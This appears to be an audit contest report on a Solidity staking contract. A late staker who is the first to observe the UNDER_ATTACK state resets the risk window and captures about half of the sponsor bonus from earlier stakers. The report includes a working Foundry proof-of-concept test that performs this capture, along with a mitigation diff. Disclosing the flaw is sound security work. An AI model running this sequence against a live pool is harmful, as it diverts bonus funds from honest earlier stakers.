FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: medium

Late UNDER_ATTACK staker can join the pre-seal cohort and capture bonus from earlier risk-bearers

Author Revealed upon completion

Root + Impact

Description

Confidence Pools intentionally allow deposits during UNDER_ATTACK because late entrants are expected to have very little economic upside. The design rationale is that the k=2 time-weighted bonus formula should crush late entrants to a near-zero bonus share, so allowing UNDER_ATTACK deposits should not create a meaningful late-join advantage.

The issue is that this property fails when the registry has already entered UNDER_ATTACK but the pool has not locally observed it yet. A late staker can be the first caller to touch the pool. Their stake() call seals riskWindowStart at their own entry time.

The pool resets already-staked capital to that timestamp, then records the late staker in the same block. This makes the earlier staker and the late entrant effectively share the same bonus start time, even though the earlier staker was the only one exposed during the unobserved active-risk period.

As a result, the late staker receives a large bonus share from earlier risk-bearers. In the PoC, Bob joins 5 days late and receives about 50% of the bonus instead of less than 5%.

This contradicts the stated design reason for allowing UNDER_ATTACK deposits: late entrants are not always crushed to near-zero reward and can get a real late-join advantage.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert ZeroAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
// @> A late stake can be the first local observation of UNDER_ATTACK
IAttackRegistry.ContractState state = _observePoolState();
_assertDepositsAllowed(state);
...
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (!scopeLocked && !_isPreAttackState(state)) {
scopeLocked = true;
emit ScopeLocked();
}
// @> First local observation of active risk seals riskWindowStart
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// @> The late observer's timestamp becomes the global risk-window floor
riskWindowStart = uint32(t);
// @> Existing eligible stake is reset as though it entered at t
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowOpened(uint32(t));
}
function _clampUserSums(address u) internal {
uint256 start = riskWindowStart;
uint256 stake_ = eligibleStake[u];
if (start == 0 || stake_ == 0) return;
// @> Earlier stakers are later promoted to the same late floor
if (userSumStakeTime[u] < stake_ * start) {
userSumStakeTime[u] = stake_ * start;
userSumStakeTimeSq[u] = stake_ * start * start;
}
}

Risk

Likelihood: Medium

  • This occurs when the registry enters UNDER_ATTACK and no pool function or pokeRiskWindow() is called immediately to seal riskWindowStart.

  • The attacker only needs normal staker permissions and can monitor the public registry for the UNDER_ATTACK transition.

Impact: Low

  • Earlier honest stakers lose sponsor-funded bonus that should accrue to them for bearing the unobserved active-risk period alone.

  • The intended economic property for UNDER_ATTACK deposits fails, because a late entrant can receive a material bonus share instead of a near-zero reward.

Proof of Concept

Add this test file:

test/poc/LateFirstObserverBonusTheft.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract LateFirstObserverBonusTheftPoC is BaseConfidencePoolTest {
function testLateFirstObserverUnderAttackGetsWindfallVsObservedControl() external {
ConfidencePool attackPool = pool;
ConfidencePool controlPool = _deployPool();
_stakeOnPool(attackPool, alice, 100 * ONE);
_stakeOnPool(controlPool, alice, 100 * ONE);
_contributeBonusOnPool(attackPool, carol, 100 * ONE);
_contributeBonusOnPool(controlPool, carol, 100 * ONE);
vm.warp(vm.getBlockTimestamp() + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Control path: someone observes UNDER_ATTACK immediately.
controlPool.pokeRiskWindow();
// Attack path: no one touches this pool for 5 more days.
vm.warp(vm.getBlockTimestamp() + 5 days);
assertEq(attackPool.riskWindowStart(), 0, "attack pool still unobserved");
// Bob becomes the first observer by staking late during UNDER_ATTACK.
_stakeOnPool(attackPool, bob, 100 * ONE);
_stakeOnPool(controlPool, bob, 100 * ONE);
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
attackPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(moderator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 bobAttackBefore = token.balanceOf(bob);
vm.prank(bob);
attackPool.claimSurvived();
uint256 bobAttackPayout = token.balanceOf(bob) - bobAttackBefore;
uint256 bobAttackBonus = bobAttackPayout - 100 * ONE;
uint256 bobControlBefore = token.balanceOf(bob);
vm.prank(bob);
controlPool.claimSurvived();
uint256 bobControlPayout = token.balanceOf(bob) - bobControlBefore;
uint256 bobControlBonus = bobControlPayout - 100 * ONE;
uint256 aliceAttackBefore = token.balanceOf(alice);
vm.prank(alice);
attackPool.claimSurvived();
uint256 aliceAttackPayout = token.balanceOf(alice) - aliceAttackBefore;
uint256 aliceAttackBonus = aliceAttackPayout - 100 * ONE;
uint256 aliceControlBefore = token.balanceOf(alice);
vm.prank(alice);
controlPool.claimSurvived();
uint256 aliceControlPayout = token.balanceOf(alice) - aliceControlBefore;
uint256 aliceControlBonus = aliceControlPayout - 100 * ONE;
// Attack pool: Bob gets roughly half the bonus.
assertApproxEqAbs(bobAttackBonus, 50 * ONE, 1, "late observer gets half the bonus");
assertApproxEqAbs(aliceAttackBonus, 50 * ONE, 1, "early staker loses her time edge");
// Control pool: Bob entered 5 days late, so his bonus is near-zero.
assertLt(bobControlBonus, 5 * ONE, "control late entrant should get near-zero bonus");
assertGt(aliceControlBonus, 95 * ONE, "control early staker should keep nearly all bonus");
// The late observer captures bonus from the earlier risk-bearer.
assertGt(bobAttackBonus, bobControlBonus + 40 * ONE, "Bob captures a large bonus share");
assertGt(aliceControlBonus, aliceAttackBonus + 40 * ONE, "Alice loses the same share");
}
function _stakeOnPool(ConfidencePool targetPool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(targetPool), amount);
targetPool.stake(amount);
vm.stopPrank();
}
function _contributeBonusOnPool(ConfidencePool targetPool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(targetPool), amount);
targetPool.contributeBonus(amount);
vm.stopPrank();
}
}

Run:

forge test --match-path 'test/poc/LateFirstObserverBonusTheft.t.sol' -vv

Observed result:

  • Attack pool: Bob receives about 50% of the bonus.

  • Control pool: Bob receives less than 5% of the bonus.

  • The difference comes from Alice, who bore the first 5 days of active risk alone.

Recommended Mitigation

The first deposit that observes active risk should not be allowed to join the pre-seal cohort.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert ZeroAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
- IAttackRegistry.ContractState state = _observePoolState();
+ IAttackRegistry.ContractState state = _getAgreementState();
+ if (riskWindowStart == 0 && _isActiveRiskState(state)) {
+ revert StakingClosed();
+ }
+ state = _observePoolState();
_assertDepositsAllowed(state);
...
}

If deposits during UNDER_ATTACK must remain allowed, the first deposit that observes active risk should be treated as post-seal capital for bonus weighting instead of being grouped with earlier stakers.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!